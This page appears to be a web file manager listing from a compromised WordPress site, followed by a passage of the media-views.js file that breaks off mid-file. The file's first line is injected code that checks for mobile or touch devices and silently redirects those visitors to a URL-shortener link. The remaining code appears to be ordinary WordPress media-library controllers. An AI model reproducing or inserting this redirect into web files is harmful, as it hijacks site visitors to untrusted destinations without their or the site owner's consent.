run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄media-views.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/******/ (() => { // webpackBootstrap
3/******/ var __webpack_modules__ = ({
4
5/***/ 7145
6(module) {
7
8var Selection = wp.media.model.Selection,
9 Library = wp.media.controller.Library,
10 CollectionAdd;
11
12/**
13 * wp.media.controller.CollectionAdd
14 *
15 * A state for adding attachments to a collection (e.g. video playlist).
16 *
17 * @memberOf wp.media.controller
18 *
19 * @class
20 * @augments wp.media.controller.Library
21 * @augments wp.media.controller.State
22 * @augments Backbone.Model
23 *
24 * @param {object} [attributes] The attributes hash passed to the state.
25 * @param {string} [attributes.id=library] Unique identifier.
26 * @param {string} attributes.title Title for the state. Displays in the frame's title region.
27 * @param {boolean|string} [attributes.multiple=add] Whether multi-select is enabled. Accepts 'add' or true.
28 * When set to true, requires Shift or Cmd/Ctrl to select multiple items.
29 * When set to 'add', allows selecting multiple items by clicking thumbnails.
30 * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse.
31 * If one is not supplied, a collection of attachments of the specified type will be created.
32 * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown.
33 * Accepts 'all', 'uploaded', or 'unattached'.
34 * @param {string} [attributes.menu=gallery] Initial mode for the menu region.
35 * @param {string} [attributes.content=upload] Initial mode for the content region.
36 * Overridden by persistent user setting if 'contentUserSetting' is true.
37 * @param {string} [attributes.router=browse] Initial mode for the router region.
38 * @param {string} [attributes.toolbar=gallery-add] Initial mode for the toolbar region.
39 * @param {boolean} [attributes.searchable=true] Whether the library is searchable.
40 * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
41 * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection.
42 * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
43 * @param {int} [attributes.priority=100] The priority for the state link in the media menu.
44 * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state.
45 * Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
46 * @param {string} attributes.type The collection's media type. (e.g. 'video').
47 * @param {string} attributes.collectionType The collection type. (e.g. 'playlist').
48 */
49CollectionAdd = Library.extend(/** @lends wp.media.controller.CollectionAdd.prototype */{
50 defaults: _.defaults( {
51 // Selection defaults. @see media.model.Selection
52 multiple: 'add',
53 // Attachments browser defaults. @see media.view.AttachmentsBrowser
54 filterable: 'uploaded',
55
56 priority: 100,
57 syncSelection: false
58 }, Library.prototype.defaults ),
59
60 /**
61 * @since 3.9.0
62 */
63 initialize: function() {
64 var collectionType = this.get('collectionType');
65
66 if ( 'video' === this.get( 'type' ) ) {
67 collectionType = 'video-' + collectionType;
68 }
69
70 this.set( 'id', collectionType + '-library' );
71 this.set( 'toolbar', collectionType + '-add' );
72 this.set( 'menu', collectionType );
73
74 // If we haven't been provided a `library`, create a `Selection`.
75 if ( ! this.get('library') ) {
76 this.set( 'library', wp.media.query({ type: this.get('type') }) );
77 }
78 Library.prototype.initialize.apply( this, arguments );
79 },
80
81 /**
82 * @since 3.9.0
83 */
84 activate: function() {
85 var library = this.get('library'),
86 editLibrary = this.get('editLibrary'),
87 edit = this.frame.state( this.get('collectionType') + '-edit' ).get('library');
88
89 if ( editLibrary && editLibrary !== edit ) {
90 library.unobserve( editLibrary );
91 }
92
93 // Accepts attachments that exist in the original library and
94 // that do not exist in gallery's library.
95 library.validator = function( attachment ) {
96 return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments );
97 };
98
99 /*
100 * Reset the library to ensure that all attachments are re-added
101 * to the collection. Do so silently, as calling `observe` will
102 * trigger the `reset` event.
103 */
104 library.reset( library.mirroring.models, { silent: true });
105 library.observe( edit );
106 this.set('editLibrary', edit);
107
108 Library.prototype.activate.apply( this, arguments );
109 }
110});
111
112module.exports = CollectionAdd;
113
114
115/***/ },
116
117/***/ 8612
118(module) {
119
120var Library = wp.media.controller.Library,
121 l10n = wp.media.view.l10n,
122 $ = jQuery,
123 CollectionEdit;
124
125/**
126 * wp.media.controller.CollectionEdit
127 *
128 * A state for editing a collection, which is used by audio and video playlists,
129 * and can be used for other collections.
130 *
131 * @memberOf wp.media.controller
132 *
133 * @class
134 * @augments wp.media.controller.Library
135 * @augments wp.media.controller.State
136 * @augments Backbone.Model
137 *
138 * @param {object} [attributes] The attributes hash passed to the state.
139 * @param {string} attributes.title Title for the state. Displays in the media menu and the frame's title region.
140 * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to edit.
141 * If one is not supplied, an empty media.model.Selection collection is created.
142 * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled.
143 * @param {string} [attributes.content=browse] Initial mode for the content region.
144 * @param {string} attributes.menu Initial mode for the menu region. @todo this needs a better explanation.
145 * @param {boolean} [attributes.searchable=false] Whether the library is searchable.
146 * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
147 * @param {boolean} [attributes.date=true] Whether to show the date filter in the browser's toolbar.
148 * @param {boolean} [attributes.describe=true] Whether to offer UI to describe the attachments - e.g. captioning images in a gallery.
149 * @param {boolean} [attributes.dragInfo=true] Whether to show instructional text about the attachments being sortable.
150 * @param {boolean} [attributes.dragInfoText] Instructional text about the attachments being sortable.
151 * @param {int} [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments.
152 * @param {boolean} [attributes.editing=false] Whether the gallery is being created, or editing an existing instance.
153 * @param {int} [attributes.priority=60] The priority for the state link in the media menu.
154 * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state.
155 * Defaults to false for this state, because the library passed in *is* the selection.
156 * @param {view} [attributes.SettingsView] The view to edit the collection instance settings (e.g. Playlist settings with "Show tracklist" checkbox).
157 * @param {view} [attributes.AttachmentView] The single `Attachment` view to be used in the `Attachments`.
158 * If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
159 * @param {string} attributes.type The collection's media type. (e.g. 'video').
160 * @param {string} attributes.collectionType The collection type. (e.g. 'playlist').
161 */
162CollectionEdit = Library.extend(/** @lends wp.media.controller.CollectionEdit.prototype */{
163 defaults: {
164 multiple: false,
165 sortable: true,
166 date: false,
167 searchable: false,
168 content: 'browse',
169 describe: true,
170 dragInfo: true,
171 idealColumnWidth: 170,
172 editing: false,
173 priority: 60,
174 SettingsView: false,
175 syncSelection: false
176 },
177
178 /**
179 * @since 3.9.0
180 */
181 initialize: function() {
182 var collectionType = this.get('collectionType');
183
184 if ( 'video' === this.get( 'type' ) ) {
185 collectionType = 'video-' + collectionType;
186 }
187
188 this.set( 'id', collectionType + '-edit' );
189 this.set( 'toolbar', collectionType + '-edit' );
190
191 // If we haven't been provided a `library`, create a `Selection`.
192 if ( ! this.get('library') ) {
193 this.set( 'library', new wp.media.model.Selection() );
194 }
195 // The single `Attachment` view to be used in the `Attachments` view.
196 if ( ! this.get('AttachmentView') ) {
197 this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary );
198 }
199 Library.prototype.initialize.apply( this, arguments );
200 },
201
202 /**
203 * @since 3.9.0
204 */
205 activate: function() {
206 var library = this.get('library');
207
208 // Limit the library to images only.
209 library.props.set( 'type', this.get( 'type' ) );
210
211 // Watch for uploaded attachments.
212 this.get('library').observe( wp.Uploader.queue );
213
214 this.frame.on( 'content:render:browse', this.renderSettings, this );
215
216 Library.prototype.activate.apply( this, arguments );
217 },
218
219 /**
220 * @since 3.9.0
221 */
222 deactivate: function() {
223 // Stop watching for uploaded attachments.
224 this.get('library').unobserve( wp.Uploader.queue );
225
226 this.frame.off( 'content:render:browse', this.renderSettings, this );
227
228 Library.prototype.deactivate.apply( this, arguments );
229 },
230
231 /**
232 * Render the collection embed settings view in the browser sidebar.
233 *
234 * @todo This is against the pattern elsewhere in media. Typically the frame
235 * is responsible for adding region mode callbacks. Explain.
236 *
237 * @since 3.9.0
238 *
239 * @param {wp.media.view.attachmentsBrowser} The attachments browser view.
240 */
241 renderSettings: function( attachmentsBrowserView ) {
242 var library = this.get('library'),
243 collectionType = this.get('collectionType'),
244 dragInfoText = this.get('dragInfoText'),
245 SettingsView = this.get('SettingsView'),
246 obj = {};
247
248 if ( ! library || ! attachmentsBrowserView ) {
249 return;
250 }
251
252 library[ collectionType ] = library[ collectionType ] || new Backbone.Model();
253
254 obj[ collectionType ] = new SettingsView({
255 controller: this,
256 model: library[ collectionType ],
257 priority: 40
258 });
259
260 attachmentsBrowserView.sidebar.set( obj );
261
262 if ( dragInfoText ) {
263 attachmentsBrowserView.toolbar.set( 'dragInfo', new wp.media.View({
264 el: $( '<div class="instructions">' + dragInfoText + '</div>' )[0],
265 priority: -40
266 }) );
267 }
268
269 // Add the 'Reverse order' button to the toolbar.
270 attachmentsBrowserView.toolbar.set( 'reverse', {
271 text: l10n.reverseOrder,
272 priority: 80,
273
274 click: function() {
275 library.reset( library.toArray().reverse() );
276 }
277 });
278 }
279});
280
281module.exports = CollectionEdit;
282
283
284/***/ },
285
286/***/ 5422
287(module) {
288
289var l10n = wp.media.view.l10n,
290 Cropper;
291
292/**
293 * wp.media.controller.Cropper
294 *
295 * A class for cropping an image when called from the header media customization panel.
296 *
297 * @memberOf wp.media.controller
298 *
299 * @class
300 * @augments wp.media.controller.State
301 * @augments Backbone.Model
302 */
303Cropper = wp.media.controller.State.extend(/** @lends wp.media.controller.Cropper.prototype */{
304 defaults: {
305 id: 'cropper',
306 title: l10n.cropImage,
307 // Region mode defaults.
308 toolbar: 'crop',
309 content: 'crop',
310 router: false,
311 canSkipCrop: false,
312
313 // Default doCrop Ajax arguments to allow the Customizer (for example) to inject state.
314 doCropArgs: {}
315 },
316
317 /**
318 * Shows the crop image window when called from the Add new image button.
319 *
320 * @since 4.2.0
321 *
322 * @return {void}
323 */
324 activate: function() {
325 this.frame.on( 'content:create:crop', this.createCropContent, this );
326 this.frame.on( 'close', this.removeCropper, this );
327 this.set('selection', new Backbone.Collection(this.frame._selection.single));
328 },
329
330 /**
331 * Changes the state of the toolbar window to browse mode.
332 *
333 * @since 4.2.0
334 *
335 * @return {void}
336 */
337 deactivate: function() {
338 this.frame.toolbar.mode('browse');
339 },
340
341 /**
342 * Creates the crop image window.
343 *
344 * Initialized when clicking on the Select and Crop button.
345 *
346 * @since 4.2.0
347 *
348 * @fires crop window
349 *
350 * @return {void}
351 */
352 createCropContent: function() {
353 this.cropperView = new wp.media.view.Cropper({
354 controller: this,
355 attachment: this.get('selection').first()
356 });
357 this.cropperView.on('image-loaded', this.createCropToolbar, this);
358 this.frame.content.set(this.cropperView);
359
360 },
361
362 /**
363 * Removes the image selection and closes the cropping window.
364 *
365 * @since 4.2.0
366 *
367 * @return {void}
368 */
369 removeCropper: function() {
370 this.imgSelect.cancelSelection();
371 this.imgSelect.setOptions({remove: true});
372 this.imgSelect.update();
373 this.cropperView.remove();
374 },
375
376 /**
377 * Checks if cropping can be skipped and creates crop toolbar accordingly.
378 *
379 * @since 4.2.0
380 *
381 * @return {void}
382 */
383 createCropToolbar: function() {
384 var canSkipCrop, hasRequiredAspectRatio, suggestedCropSize, toolbarOptions;
385
386 suggestedCropSize = this.get( 'suggestedCropSize' );
387 hasRequiredAspectRatio = this.get( 'hasRequiredAspectRatio' );
388 canSkipCrop = this.get( 'canSkipCrop' ) || false;
389
390 toolbarOptions = {
391 controller: this.frame,
392 items: {
393 insert: {
394 style: 'primary',
395 text: l10n.cropImage,
396 priority: 80,
397 requires: { library: false, selection: false },
398
399 click: function() {
400 var controller = this.controller,
401 selection;
402
403 selection = controller.state().get('selection').first();
404 selection.set({cropDetails: controller.state().imgSelect.getSelection()});
405
406 this.$el.text(l10n.cropping);
407 this.$el.attr('disabled', true);
408
409 controller.state().doCrop( selection ).done( function( croppedImage ) {
410 controller.trigger('cropped', croppedImage );
411 controller.close();
412 }).fail( function() {
413 controller.trigger('content:error:crop');
414 });
415 }
416 }
417 }
418 };
419
420 if ( canSkipCrop || hasRequiredAspectRatio ) {
421 _.extend( toolbarOptions.items, {
422 skip: {
423 style: 'secondary',
424 text: l10n.skipCropping,
425 priority: 70,
426 requires: { library: false, selection: false },
427 click: function() {
428 var controller = this.controller,
429 selection = controller.state().get( 'selection' ).first();
430
431 controller.state().cropperView.remove();
432
433 // Apply the suggested crop size.
434 if ( hasRequiredAspectRatio && !canSkipCrop ) {
435 selection.set({cropDetails: suggestedCropSize});
436 controller.state().doCrop( selection ).done( function( croppedImage ) {
437 controller.trigger( 'cropped', croppedImage );
438 controller.close();
439 }).fail( function() {
440 controller.trigger( 'content:error:crop' );
441 });
442 return;
443 }
444
445 // Skip the cropping process.
446 controller.trigger( 'skippedcrop', selection );
447 controller.close();
448 }
449 }
450 });
451 }
452
453 this.frame.toolbar.set( new wp.media.view.Toolbar(toolbarOptions) );
454 },
455
456 /**
457 * Creates an object with the image attachment and crop properties.
458 *
459 * @since 4.2.0
460 *
461 * @return {$.promise} A jQuery promise with the custom header crop details.
462 */
463 doCrop: function( attachment ) {
464 return wp.ajax.post( 'custom-header-crop', _.extend(
465 {},
466 this.defaults.doCropArgs,
467 {
468 nonce: attachment.get( 'nonces' ).edit,
469 id: attachment.get( 'id' ),
470 cropDetails: attachment.get( 'cropDetails' )
471 }
472 ) );
473 }
474});
475
476module.exports = Cropper;
477
478
479/***/ },
480
481/***/ 9660
482(module) {
483
484var Controller = wp.media.controller,
485 CustomizeImageCropper;
486
487/**
488 * A state for cropping an image in the customizer.
489 *
490 * @since 4.3.0
491 *
492 * @constructs wp.media.controller.CustomizeImageCropper
493 * @memberOf wp.media.controller
494 * @augments wp.media.controller.CustomizeImageCropper.Cropper
495 * @inheritDoc
496 */
497CustomizeImageCropper = Controller.Cropper.extend(/** @lends wp.media.controller.CustomizeImageCropper.prototype */{
498 /**
499 * Posts the crop details to the admin.
500 *
501 * Uses crop measurements when flexible in both directions.
502 * Constrains flexible side based on image ratio and size of the fixed side.
503 *
504 * @since 4.3.0
505 *
506 * @param {Object} attachment The attachment to crop.
507 *
508 * @return {$.promise} A jQuery promise that represents the crop image request.
509 */
510 doCrop: function( attachment ) {
511 var cropDetails = attachment.get( 'cropDetails' ),
512 control = this.get( 'control' ),
513 ratio = cropDetails.width / cropDetails.height;
514
515 // Use crop measurements when flexible in both directions.
516 if ( control.params.flex_width && control.params.flex_height ) {
517 cropDetails.dst_width = cropDetails.width;
518 cropDetails.dst_height = cropDetails.height;
519
520 // Constrain flexible side based on image ratio and size of the fixed side.
521 } else {
522 cropDetails.dst_width = control.params.flex_width ? control.params.height * ratio : control.params.width;
523 cropDetails.dst_height = control.params.flex_height ? control.params.width / ratio : control.params.height;
524 }
525
526 return wp.ajax.post( 'crop-image', {
527 wp_customize: 'on',
528 nonce: attachment.get( 'nonces' ).edit,
529 id: attachment.get( 'id' ),
530 context: control.id,
531 cropDetails: cropDetails
532 } );
533 }
534});
535
536module.exports = CustomizeImageCropper;
537
538
539/***/ },
540
541/***/ 5663
542(module) {
543
544var l10n = wp.media.view.l10n,
545 EditImage;
546
547/**
548 * wp.media.controller.EditImage
549 *
550 * A state for editing (cropping, etc.) an image.
551 *
552 * @memberOf wp.media.controller
553 *
554 * @class
555 * @augments wp.media.controller.State
556 * @augments Backbone.Model
557 *
558 * @param {object} attributes The attributes hash passed to the state.
559 * @param {wp.media.model.Attachment} attributes.model The attachment.
560 * @param {string} [attributes.id=edit-image] Unique identifier.
561 * @param {string} [attributes.title=Edit Image] Title for the state. Displays in the media menu and the frame's title region.
562 * @param {string} [attributes.content=edit-image] Initial mode for the content region.
563 * @param {string} [attributes.toolbar=edit-image] Initial mode for the toolbar region.
564 * @param {string} [attributes.menu=false] Initial mode for the menu region.
565 * @param {string} [attributes.url] Unused. @todo Consider removal.
566 */
567EditImage = wp.media.controller.State.extend(/** @lends wp.media.controller.EditImage.prototype */{
568 defaults: {
569 id: 'edit-image',
570 title: l10n.editImage,
571 menu: false,
572 toolbar: 'edit-image',
573 content: 'edit-image',
574 url: ''
575 },
576
577 /**
578 * Activates a frame for editing a featured image.
579 *
580 * @since 3.9.0
581 *
582 * @return {void}
583 */
584 activate: function() {
585 this.frame.on( 'toolbar:render:edit-image', _.bind( this.toolbar, this ) );
586 },
587
588 /**
589 * Deactivates a frame for editing a featured image.
590 *
591 * @since 3.9.0
592 *
593 * @return {void}
594 */
595 deactivate: function() {
596 this.frame.off( 'toolbar:render:edit-image' );
597 },
598
599 /**
600 * Adds a toolbar with a back button.
601 *
602 * When the back button is pressed it checks whether there is a previous state.
603 * In case there is a previous state it sets that previous state otherwise it
604 * closes the frame.
605 *
606 * @since 3.9.0
607 *
608 * @return {void}
609 */
610 toolbar: function() {
611 var frame = this.frame,
612 lastState = frame.lastState(),
613 previous = lastState && lastState.id;
614
615 frame.toolbar.set( new wp.media.view.Toolbar({
616 controller: frame,
617 items: {
618 back: {
619 style: 'primary',
620 text: l10n.back,
621 priority: 20,
622 click: function() {
623 if ( previous ) {
624 frame.setState( previous );
625 } else {
626 frame.close();
627 }
628 }
629 }
630 }
631 }) );
632 }
633});
634
635module.exports = EditImage;
636
637
638/***/ },
639
640/***/ 4910
641(module) {
642
643var l10n = wp.media.view.l10n,
644 $ = Backbone.$,
645 Embed;
646
647/**
648 * wp.media.controller.Embed
649 *
650 * A state for embedding media from a URL.
651 *
652 * @memberOf wp.media.controller
653 *
654 * @class
655 * @augments wp.media.controller.State
656 * @augments Backbone.Model
657 *
658 * @param {object} attributes The attributes hash passed to the state.
659 * @param {string} [attributes.id=embed] Unique identifier.
660 * @param {string} [attributes.title=Insert From URL] Title for the state. Displays in the media menu and the frame's title region.
661 * @param {string} [attributes.content=embed] Initial mode for the content region.
662 * @param {string} [attributes.menu=default] Initial mode for the menu region.
663 * @param {string} [attributes.toolbar=main-embed] Initial mode for the toolbar region.
664 * @param {string} [attributes.menu=false] Initial mode for the menu region.
665 * @param {int} [attributes.priority=120] The priority for the state link in the media menu.
666 * @param {string} [attributes.type=link] The type of embed. Currently only link is supported.
667 * @param {string} [attributes.url] The embed URL.
668 * @param {object} [attributes.metadata={}] Properties of the embed, which will override attributes.url if set.
669 */
670Embed = wp.media.controller.State.extend(/** @lends wp.media.controller.Embed.prototype */{
671 defaults: {
672 id: 'embed',
673 title: l10n.insertFromUrlTitle,
674 content: 'embed',
675 menu: 'default',
676 toolbar: 'main-embed',
677 priority: 120,
678 type: 'link',
679 url: '',
680 metadata: {}
681 },
682
683 // The amount of time used when debouncing the scan.
684 sensitivity: 400,
685
686 initialize: function(options) {
687 this.metadata = options.metadata;
688 this.debouncedScan = _.debounce( _.bind( this.scan, this ), this.sensitivity );
689 this.props = new Backbone.Model( this.metadata || { url: '' });
690 this.props.on( 'change:url', this.debouncedScan, this );
691 this.props.on( 'change:url', this.refresh, this );
692 this.on( 'scan', this.scanImage, this );
693 },
694
695 /**
696 * Trigger a scan of the embedded URL's content for metadata required to embed.
697 *
698 * @fires wp.media.controller.Embed#scan
699 */
700 scan: function() {
701 var scanners,
702 embed = this,
703 attributes = {
704 type: 'link',
705 scanners: []
706 };
707
708 /*
709 * Scan is triggered with the list of `attributes` to set on the
710 * state, useful for the 'type' attribute and 'scanners' attribute,
711 * an array of promise objects for asynchronous scan operations.
712 */
713 if ( this.props.get('url') ) {
714 this.trigger( 'scan', attributes );
715 }
716
717 if ( attributes.scanners.length ) {
718 scanners = attributes.scanners = $.when.apply( $, attributes.scanners );
719 scanners.always( function() {
720 if ( embed.get('scanners') === scanners ) {
721 embed.set( 'loading', false );
722 }
723 });
724 } else {
725 attributes.scanners = null;
726 }
727
728 attributes.loading = !! attributes.scanners;
729 this.set( attributes );
730 },
731 /**
732 * Try scanning the embed as an image to discover its dimensions.
733 *
734 * @param {Object} attributes
735 */
736 scanImage: function( attributes ) {
737 var frame = this.frame,
738 state = this,
739 url = this.props.get('url'),
740 image = new Image(),
741 deferred = $.Deferred();
742
743 attributes.scanners.push( deferred.promise() );
744
745 // Try to load the image and find its width/height.
746 image.onload = function() {
747 deferred.resolve();
748
749 if ( state !== frame.state() || url !== state.props.get('url') ) {
750 return;
751 }
752
753 state.set({
754 type: 'image'
755 });
756
757 state.props.set({
758 width: image.width,
759 height: image.height
760 });
761 };
762
763 image.onerror = deferred.reject;
764 image.src = url;
765 },
766
767 refresh: function() {
768 this.frame.toolbar.get().refresh();
769 },
770
771 reset: function() {
772 this.props.clear().set({ url: '' });
773
774 if ( this.active ) {
775 this.refresh();
776 }
777 }
778});
779
780module.exports = Embed;
781
782
783/***/ },
784
785/***/ 1169
786(module) {
787
788var Attachment = wp.media.model.Attachment,
789 Library = wp.media.controller.Library,
790 l10n = wp.media.view.l10n,
791 FeaturedImage;
792
793/**
794 * wp.media.controller.FeaturedImage
795 *
796 * A state for selecting a featured image for a post.
797 *
798 * @memberOf wp.media.controller
799 *
800 * @class
801 * @augments wp.media.controller.Library
802 * @augments wp.media.controller.State
803 * @augments Backbone.Model
804 *
805 * @param {object} [attributes] The attributes hash passed to the state.
806 * @param {string} [attributes.id=featured-image] Unique identifier.
807 * @param {string} [attributes.title=Set Featured Image] Title for the state. Displays in the media menu and the frame's title region.
808 * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse.
809 * If one is not supplied, a collection of all images will be created.
810 * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled.
811 * @param {string} [attributes.content=upload] Initial mode for the content region.
812 * Overridden by persistent user setting if 'contentUserSetting' is true.
813 * @param {string} [attributes.menu=default] Initial mode for the menu region.
814 * @param {string} [attributes.router=browse] Initial mode for the router region.
815 * @param {string} [attributes.toolbar=featured-image] Initial mode for the toolbar region.
816 * @param {int} [attributes.priority=60] The priority for the state link in the media menu.
817 * @param {boolean} [attributes.searchable=true] Whether the library is searchable.
818 * @param {boolean|string} [attributes.filterable=false] Whether the library is filterable, and if so what filters should be shown.
819 * Accepts 'all', 'uploaded', or 'unattached'.
820 * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
821 * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection.
822 * @param {boolean} [attributes.describe=false] Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
823 * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
824 * @param {boolean} [attributes.syncSelection=true] Whether the Attachments selection should be persisted from the last state.
825 */
826FeaturedImage = Library.extend(/** @lends wp.media.controller.FeaturedImage.prototype */{
827 defaults: _.defaults({
828 id: 'featured-image',
829 title: l10n.setFeaturedImageTitle,
830 multiple: false,
831 filterable: 'uploaded',
832 toolbar: 'featured-image',
833 priority: 60,
834 syncSelection: true
835 }, Library.prototype.defaults ),
836
837 /**
838 * @since 3.5.0
839 */
840 initialize: function() {
841 var library, comparator;
842
843 // If we haven't been provided a `library`, create a `Selection`.
844 if ( ! this.get('library') ) {
845 this.set( 'library', wp.media.query({ type: 'image' }) );
846 }
847
848 Library.prototype.initialize.apply( this, arguments );
849
850 library = this.get('library');
851 comparator = library.comparator;
852
853 // Overload the library's comparator to push items that are not in
854 // the mirrored query to the front of the aggregate collection.
855 library.comparator = function( a, b ) {
856 var aInQuery = !! this.mirroring.get( a.cid ),
857 bInQuery = !! this.mirroring.get( b.cid );
858
859 if ( ! aInQuery && bInQuery ) {
860 return -1;
861 } else if ( aInQuery && ! bInQuery ) {
862 return 1;
863 } else {
864 return comparator.apply( this, arguments );
865 }
866 };
867
868 // Add all items in the selection to the library, so any featured
869 // images that are not initially loaded still appear.
870 library.observe( this.get('selection') );
871 },
872
873 /**
874 * @since 3.5.0
875 */
876 activate: function() {
877 this.frame.on( 'open', this.updateSelection, this );
878
879 Library.prototype.activate.apply( this, arguments );
880 },
881
882 /**
883 * @since 3.5.0
884 */
885 deactivate: function() {
886 this.frame.off( 'open', this.updateSelection, this );
887
888 Library.prototype.deactivate.apply( this, arguments );
889 },
890
891 /**
892 * @since 3.5.0
893 */
